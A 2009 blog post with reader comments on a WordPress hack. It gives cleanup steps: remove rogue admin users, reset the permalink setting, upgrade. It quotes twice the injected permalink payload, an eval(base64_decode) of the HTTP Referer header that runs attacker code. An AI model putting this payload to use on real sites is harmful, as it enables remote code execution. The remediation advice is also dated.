URGENT: If Your WordPress Blog is Acting Strangely, Follow These Steps

35 Replies

I checked my blog and the URLs looked malformed, with the following structure: http://www.whoisandrewwee.com/2009/09/03/unlocking-unconventional-traffic-sources-for-affiliate-campaigns/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/#comment-506929

If you notice something similar or weird with your WordPress blog, you might want to take the following steps:

  • Check the “users” tab from the WP admin interface
  • Remove any unfamiliar users, esp those marked as “administrator”
  • To prevent users from registering, I’d go as far as to remove wp-register.php (keep a backup and FTP it back in if you have problems)
  • Check all of WordPress’ PHP scripts, remove global “execute” privileges

Once you’ve secured the perimeter, look at the “Settings” and “permalinks” tab.

If you see some weird stuff like “%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/#comment-506929”, you’d want to clear that, and replace it with your original permalink structure, or look it up on the WordPress codex.

You can also check out this other blog post for more details.

Note: this issue seems to be affecting WordPress 2.6.x. Not sure to what extent it’s affecting version 2.8.x.

UPDATE: Matt Mullenweg from the WordPress development team has posted about the security issues if you’re using an older version of WordPress. Here’s a WP support forum write up about what might be happening.

You might want to upgrade to a newer version of WordPress. Just take note that some of your plugins/themes might not work if the developer hasn’t updated the plugin for compliance with the newest version.

35 thoughts on “URGENT: If Your WordPress Blog is Acting Strangely, Follow These Steps”

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  3. BrianB

    We got it, too. Is this a world wide problem? I googled the change script and it seems a few similar problems have popped out recently.

  6. Mr Woc

    Hi there

    Many thanks for this information, I was at my wits end trying to resolve this lol, I think mine occured because of installing the seo plugin pack, but doing what you said on this post worked fine !

    Woc

  7. Edward Mills

    They got me. Thanks for the info on how to clean it up. Wasn’t as cut and dried as you made it sound… had some trouble with my htaccess file. But it’s all good now!

  8. KirstyM

    Thanks so much Andrew, my blog was also similarly affected and I’ve followed your instructions to fix the issue. I’d have been completely stumped without this post.

    Wonder if they’re targeting online marketers, the rotters?!

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  10. KirstyM

    Andrew – a colleague also affected has just told me that most people affected will also have had a new admin inserted directly into their SQL database that doesn’t show up in WordPress interface.

    I found this had been placed into my SQL db, it has obviously been stored for later foul internet deeds to be performed…

  11. Andrew Wee Post author

    Hi Kirsty,
    Thanks for that. I’ll drop a note to my server admin.

    For those who’re using fantastico/cPanel, it should be an easy fix from the “mySQL database” or “phpMyAdmin” consoles.

  12. Luke Rumley

    Lots more going on beneath the surface! Permalinks and hidden admin users! This blog post worked for me to clean house: http://blog.nachotech.com/?p=125

    I also renamed my xmlrpc.php and wp-register.php files as a stop-gap solution. It seems 2.8.4 blogs are safe so far. I am guessing 2.8.5 will be out ASAP to correct this is 2.8.4 doesn’t.

  13. Melayu

    This post is very good for me.. i can get many tips and trick on this blog.. thank’s for u’r information my friend! this is my first time to visiting to your blog..

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